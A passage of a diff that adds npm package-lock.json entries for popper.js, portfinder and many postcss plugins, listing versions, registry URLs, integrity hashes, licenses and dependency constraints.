"node_modules/popper.js": { + "version": "1.16.1-lts", + "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1-lts.tgz", + "integrity": "sha512-Kjw8nKRl1m+VrSFCoVGPph93W/qrSO7ZkqPpTf7F4bk/sqcfWK019dWBUpE/fBOsOQY1dks/Bmcbfn1heM/IsA==", + "license": "MIT" + }, + "node_modules/portfinder": { + "version": "1.0.28", + "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.28.tgz", + "integrity": "sha512-Se+2isanIcEqf2XMHjyUKskczxbPH7dQnlMjXX6+dybayyHvAf/TCgyMRlzf/B6QDhAEFOGes0pzRo3by4AbMA==", + "dev": true, + "license": "MIT", + "dependencies": { + "async": "^2.6.2", + "debug": "^3.1.1", + "mkdirp": "^0.5.5" + }, + "engines": { + "node": ">= 0.12.0" + } + }, + "node_modules/portfinder/node_modules/async": { + "version": "2.6.4", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.4.tgz", + "integrity": "sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA==", + "dev": true, + "license": "MIT", + "dependencies": { + "lodash": "^4.17.14" + } + }, + "node_modules/portfinder/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/posix-character-classes": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz", + "integrity": "sha512-xTgYBc3fuo7Yt7JbiuFxSYGToMoz8fLoE6TC9Wx1P/u+LfeThMOAqmuyECnlBaaJb+u1m9hHiXUEtwW4OzfUJg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/possible-typed-array-names": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.0.0.tgz", + "integrity": "sha512-d7Uw+eZoloe0EHDIYoe+bQ5WXnGMOpmiZFTuMWCwpjzzkL2nTjcKiAk4hh8TjnGye2TwWOk3UXucZ+3rbmBa8Q==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/postcss": { + "version": "8.4.14", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.14.tgz", + "integrity": "sha512-E398TUmfAYFPBSdzgeieK2Y1+1cpdxJx8yXbK/m57nRhKSmk1GB2tO4lbLBtlkfPQTDKfe4Xqv1ASWPpayPEig==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.4", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-attribute-case-insensitive": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/postcss-attribute-case-insensitive/-/postcss-attribute-case-insensitive-5.0.2.tgz", + "integrity": "sha512-XIidXV8fDr0kKt28vqki84fRK8VW8eTuIa4PChv2MqKuT6C9UjmSKzen6KaWhWEoYvwxFCa7n/tC1SZ3tyq4SQ==", + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-browser-comments": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-browser-comments/-/postcss-browser-comments-4.0.0.tgz", + "integrity": "sha512-X9X9/WN3KIvY9+hNERUqX9gncsgBA25XaeR+jshHz2j8+sYyHktHw1JdKuMjeLpGktXidqDhA7b/qm1mrBDmgg==", + "license": "CC0-1.0", + "engines": { + "node": ">=8" + }, + "peerDependencies": { + "browserslist": ">=4", + "postcss": ">=8" + } + }, + "node_modules/postcss-calc": { + "version": "8.2.4", + "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-8.2.4.tgz", + "integrity": "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==", + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.0.9", + "postcss-value-parser": "^4.2.0" + }, + "peerDependencies": { + "postcss": "^8.2.2" + } + }, + "node_modules/postcss-clamp": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/postcss-clamp/-/postcss-clamp-4.1.0.tgz", + "integrity": "sha512-ry4b1Llo/9zz+PKC+030KUnPITTJAHeOwjfAyyB60eT0AorGLdzp52s31OsPRHRf8NchkgFoG2y6fCfn1IV1Ow==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=7.6.0" + }, + "peerDependencies": { + "postcss": "^8.4.6" + } + }, + "node_modules/postcss-color-functional-notation": { + "version": "4.2.4", + "resolved": "https://registry.npmjs.org/postcss-color-functional-notation/-/postcss-color-functional-notation-4.2.4.tgz", + "integrity": "sha512-2yrTAUZUab9s6CpxkxC4rVgFEVaR6/2Pipvi6qcgvnYiVqZcbDHEoBDhrXzyb7Efh2CCfHQNtcqWcIruDTIUeg==", + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-color-hex-alpha": { + "version": "8.0.4", + "resolved": "https://registry.npmjs.org/postcss-color-hex-alpha/-/postcss-color-hex-alpha-8.0.4.tgz", + "integrity": "sha512-nLo2DCRC9eE4w2JmuKgVA3fGL3d01kGq752pVALF68qpGLmx2Qrk91QTKkdUqqp45T1K1XV8IhQpcu1hoAQflQ==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-color-rebeccapurple": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/postcss-color-rebeccapurple/-/postcss-color-rebeccapurple-7.1.1.tgz", + "integrity": "sha512-pGxkuVEInwLHgkNxUc4sdg4g3py7zUeCQ9sMfwyHAT+Ezk8a4OaaVZ8lIY5+oNqA/BXXgLyXv0+5wHP68R79hg==", + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-colormin": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-5.3.0.tgz", + "integrity": "sha512-WdDO4gOFG2Z8n4P8TWBpshnL3JpmNmJwdnfP2gbk2qBA8PWwOYcmjmI/t3CmMeL72a7Hkd+x/Mg9O2/0rD54Pg==", + "license": "MIT", + "dependencies": { + "browserslist": "^4.16.6", + "caniuse-api": "^3.0.0", + "colord": "^2.9.1", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-convert-values": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-5.1.2.tgz", + "integrity": "sha512-c6Hzc4GAv95B7suy4udszX9Zy4ETyMCgFPUDtWjdFTKH1SE9eFY/jEpHSwTH1QPuwxHpWslhckUQWbNRM4ho5g==", + "license": "MIT", + "dependencies": { + "browserslist": "^4.20.3", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-custom-media": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/postcss-custom-media/-/postcss-custom-media-8.0.2.tgz", + "integrity": "sha512-7yi25vDAoHAkbhAzX9dHx2yc6ntS4jQvejrNcC+csQJAXjj15e7VcWfMgLqBNAbOvqi5uIa9huOVwdHbf+sKqg==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.3" + } + }, + "node_modules/postcss-custom-properties": { + "version": "12.1.8", + "resolved": "https://registry.npmjs.org/postcss-custom-properties/-/postcss-custom-properties-12.1.8.tgz", + "integrity": "sha512-8rbj8kVu00RQh2fQF81oBqtduiANu4MIxhyf0HbbStgPtnFlWn0yiaYTpLHrPnJbffVY1s9apWsIoVZcc68FxA==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-custom-selectors": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/postcss-custom-selectors/-/postcss-custom-selectors-6.0.3.tgz", + "integrity": "sha512-fgVkmyiWDwmD3JbpCmB45SvvlCD6z9CG6Ie6Iere22W5aHea6oWa7EM2bpnv2Fj3I94L3VbtvX9KqwSi5aFzSg==", + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.3" + } + }, + "node_modules/postcss-dir-pseudo-class": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/postcss-dir-pseudo-class/-/postcss-dir-pseudo-class-6.0.5.tgz", + "integrity": "sha512-eqn4m70P031PF7ZQIvSgy9RSJ5uI2171O/OO/zcRNYpJbvaeKFUlar1aJ7rmgiQtbm0FSPsRewjpdS0Oew7MPA==", + "license": "CC0-1.0", + "dependencies": { + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-discard-comments": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz", + "integrity": "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==", + "license": "MIT", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-duplicates": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz", + "integrity": "sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==", + "license": "MIT", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-empty": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz", + "integrity": "sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==", + "license": "MIT", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-overridden": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz", + "integrity": "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==", + "license": "MIT", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-double-position-gradients": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/postcss-double-position-gradients/-/postcss-double-position-gradients-3.1.2.tgz", + "integrity": "sha512-GX+FuE/uBR6eskOK+4vkXgT6pDkexLokPaz/AbJna9s5Kzp/yl488pKPjhy0obB475ovfT1Wv8ho7U/cHNaRgQ==", + "license": "CC0-1.0", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-env-function": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/postcss-env-function/-/postcss-env-function-4.0.6.tgz", + "integrity": "sha512-kpA6FsLra+NqcFnL81TnsU+Z7orGtDTxcOhl6pwXeEq1yFPpRMkCDpHhrz8CFQDr/Wfm0jLiNQ1OsGGPjlqPwA==", + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-flexbugs-fixes": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/postcss-flexbugs-fixes/-/postcss-flexbugs-fixes-5.0.2.tgz", + "integrity": "sha512-18f9voByak7bTktR2QgDveglpn9DTbBWPUzSOe9g0N4WR/2eSt6Vrcbf0hmspvMI6YWGywz6B9f7jzpFNJJgnQ==", + "license": "MIT", + "peerDependencies": { + "postcss": "^8.1.4" + } + }, + "node_modules/postcss-focus-visible": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/postcss-focus-visible/-/postcss-focus-visible-6.0.4.tgz", + "integrity": "sha512-QcKuUU/dgNsstIK6HELFRT5Y3lbrMLEOwG+A4s5cA+fx3A3y/JTq3X9LaOj3OC3ALH0XqyrgQIgey/MIZ8Wczw==", + "license": "CC0-1.0", + "dependencies": { + "postcss-selector-parser": "^6.0.9" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-focus-within": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/postcss-focus-within/-/postcss-focus-within-5.0.4.tgz", + "integrity": "sha512-vvjDN++C0mu8jz4af5d52CB184ogg/sSxAFS+oUJQq2SuCe7T5U2iIsVJtsCp2d6R4j0jr5+q3rPkBVZkXD9fQ==", + "license": "CC0-1.0", + "dependencies": { + "postcss-selector-parser": "^6.0.9" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-font-variant": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/postcss-font-variant/-/postcss-font-variant-5.0.0.tgz", + "integrity": "sha512-1fmkBaCALD72CK2a9i468mA/+tr9/1cBxRRMXOUaZqO43oWPR5imcyPjXwuv7PXbCid4ndlP5zWhidQVVa3hmA==", + "license": "MIT", + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-gap-properties": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/postcss-gap-properties/-/postcss-gap-properties-3.0.5.tgz", + "integrity": "sha512-IuE6gKSdoUNcvkGIqdtjtcMtZIFyXZhmFd5RUlg97iVEvp1BZKV5ngsAjCjrVy+14uhGBQl9tzmi1Qwq4kqVOg==", + "license": "CC0-1.0", + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-image-set-function": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/postcss-image-set-function/-/postcss-image-set-function-4.0.7.tgz", + "integrity": "sha512-9T2r9rsvYzm5ndsBE8WgtrMlIT7VbtTfE7b3BQnudUqnBcBo7L758oc+o+pdj/dUV0l5wjwSdjeOH2DZtfv8qw==", + "license": "CC0-1.0", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-import": { + "version": "14.1.0", + "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-14.1.0.tgz", + "integrity": "sha512-flwI+Vgm4SElObFVPpTIT7SU7R3qk2L7PyduMcokiaVKuWv9d/U+Gm/QAd8NDLuykTWTkcrjOeD2Pp1rMeBTGw==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.0.0", + "read-cache": "^1.0.0", + "resolve": "^1.1.7" + }, + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "postcss": "^8.0.0" + } + }, + "node_modules/postcss-initial": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/postcss-initial/-/postcss-initial-4.0.1.tgz", + "integrity": "sha512-0ueD7rPqX8Pn1xJIjay0AZeIuDoF+V+VvMt/uOnn+4ezUKhZM/NokDeP6DwMNyIoYByuN/94IQnt5FEkaN59xQ==", + "license": "MIT", + "peerDependencies": { + "postcss": "^8.0.0" + } + }, + "node_modules/postcss-js": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.0.tgz", + "integrity": "sha512-77QESFBwgX4irogGVPgQ5s07vLvFqWr228qZY+w6lW599cRlK/HmnlivnnVUxkjHnCu4J16PDMHcH+e+2HbvTQ==", + "license": "MIT", + "dependencies": { + "camelcase-css": "^2.0.1" + }, + "engines": { + "node": "^12 || ^14 || >= 16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + "peerDependencies": { + "postcss": "^8.3.3" + } + }, + "node_modules/postcss-lab-function": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/postcss-lab-function/-/postcss-lab-function-4.2.1.tgz", + "integrity": "sha512-xuXll4isR03CrQsmxyz92LJB2xX9n+pZJ5jE9JgcnmsCammLyKdlzrBin+25dy6wIjfhJpKBAN80gsTlCgRk2w==", + "license": "CC0-1.0", + "dependencies": { + "@csstools/postcss-progressive-custom-properties": "^1.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-load-config": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-3.1.4.tgz", + "integrity": "sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg==", + "license": "MIT", + "dependencies": { + "lilconfig": "^2.0.5", + "yaml": "^1.10.2" + }, + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + "peerDependencies": { + "postcss": ">=8.0.9", + "ts-node": ">=9.0.0" + }, + "peerDependenciesMeta": { + "postcss": { + "optional": true + }, + "ts-node": { + "optional": true + } + } + }, + "node_modules/postcss-loader": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/postcss-loader/-/postcss-loader-6.2.1.tgz", + "integrity": "sha512-WbbYpmAaKcux/P66bZ40bpWsBucjx/TTgVVzRZ9yUO8yQfVBlameJ0ZGVaPfH64hNSBh63a+ICP5nqOpBA0w+Q==", + "license": "MIT", + "dependencies": { + "cosmiconfig": "^7.0.0", + "klona": "^2.0.5", + "semver": "^7.3.5" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "postcss": "^7.0.0 || ^8.0.1", + "webpack": "^5.0.0" + } + }, + "node_modules/postcss-loader/node_modules/semver": { + "version": "7.3.7", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.7.tgz", + "integrity": "sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==", + "license": "ISC", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/postcss-logical": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/postcss-logical/-/postcss-logical-5.0.4.tgz", + "integrity": "sha512-RHXxplCeLh9VjinvMrZONq7im4wjWGlRJAqmAVLXyZaXwfDWP73/oq4NdIp+OZwhQUMj0zjqDfM5Fj7qby+B4g==", + "license": "CC0-1.0", + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-media-minmax": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/postcss-media-minmax/-/postcss-media-minmax-5.0.0.tgz", + "integrity": "sha512-yDUvFf9QdFZTuCUg0g0uNSHVlJ5X1lSzDZjPSFaiCWvjgsvu8vEVxtahPrLMinIDEEGnx6cBe6iqdx5YWz08wQ==", + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-merge-longhand": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-5.1.6.tgz", + "integrity": "sha512-6C/UGF/3T5OE2CEbOuX7iNO63dnvqhGZeUnKkDeifebY0XqkkvrctYSZurpNE902LDf2yKwwPFgotnfSoPhQiw==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0", + "stylehacks": "^5.1.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-merge-rules": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-5.1.2.tgz", + "integrity": "sha512-zKMUlnw+zYCWoPN6yhPjtcEdlJaMUZ0WyVcxTAmw3lkkN/NDMRkOkiuctQEoWAOvH7twaxUUdvBWl0d4+hifRQ==", + "license": "MIT", + "dependencies": { + "browserslist": "^4.16.6", + "caniuse-api": "^3.0.0", + "cssnano-utils": "^3.1.0", + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-font-values": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz", + "integrity": "sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-gradients": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz", + "integrity": "sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==", + "license": "MIT", + "dependencies": { + "colord": "^2.9.1", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-params": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-5.1.3.tgz", + "integrity": "sha512-bkzpWcjykkqIujNL+EVEPOlLYi/eZ050oImVtHU7b4lFS82jPnsCb44gvC6pxaNt38Els3jWYDHTjHKf0koTgg==", + "license": "MIT", + "dependencies": { + "browserslist": "^4.16.6", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-selectors": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz", + "integrity": "sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==", + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-modules-extract-imports": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz", + "integrity": "sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==", + "license": "ISC", + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-local-by-default": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.0.tgz", + "integrity": "sha512-sT7ihtmGSF9yhm6ggikHdV0hlziDTX7oFoXtuVWeDd3hHObNkcHRo9V3yg7vCAY7cONyxJC/XXCmmiHHcvX7bQ==", + "license": "MIT", + "dependencies": { + "icss-utils": "^5.0.0", + "postcss-selector-parser": "^6.0.2", + "postcss-value-parser": "^4.1.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-scope": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz", + "integrity": "sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg==", + "license": "ISC", + "dependencies": { + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-modules-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz", + "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==", + "license": "ISC", + "dependencies": { + "icss-utils": "^5.0.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + }, + "peerDependencies": { + "postcss": "^8.1.0" + } + }, + "node_modules/postcss-nested": { + "version": "5.0.6", + "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-5.0.6.tgz", + "integrity": "sha512-rKqm2Fk0KbA8Vt3AdGN0FB9OBOMDVajMG6ZCf/GoHgdxUJ4sBFp0A/uMIRm+MJUdo33YXEtjqIz8u7DAp8B7DA==", + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.0.6" + }, + "engines": { + "node": ">=12.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + "peerDependencies": { + "postcss": "^8.2.14" + } + }, + "node_modules/postcss-nesting": { + "version": "10.1.10", + "resolved": "https://registry.npmjs.org/postcss-nesting/-/postcss-nesting-10.1.10.tgz", + "integrity": "sha512-lqd7LXCq0gWc0wKXtoKDru5wEUNjm3OryLVNRZ8OnW8km6fSNUuFrjEhU3nklxXE2jvd4qrox566acgh+xQt8w==", + "license": "CC0-1.0", + "dependencies": { + "@csstools/selector-specificity": "^2.0.0", + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-normalize": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/postcss-normalize/-/postcss-normalize-10.0.1.tgz", + "integrity": "sha512-+5w18/rDev5mqERcG3W5GZNMJa1eoYYNGo8gB7tEwaos0ajk3ZXAI4mHGcNT47NE+ZnZD1pEpUOFLvltIwmeJA==", + "license": "CC0-1.0", + "dependencies": { + "@csstools/normalize.css": "*", + "postcss-browser-comments": "^4", + "sanitize.css": "*" + }, + "engines": { + "node": ">= 12" + }, + "peerDependencies": { + "browserslist": ">= 4", + "postcss": ">= 8" + } + }, + "node_modules/postcss-normalize-charset": { + "version": "5.1.0", + "resolved": 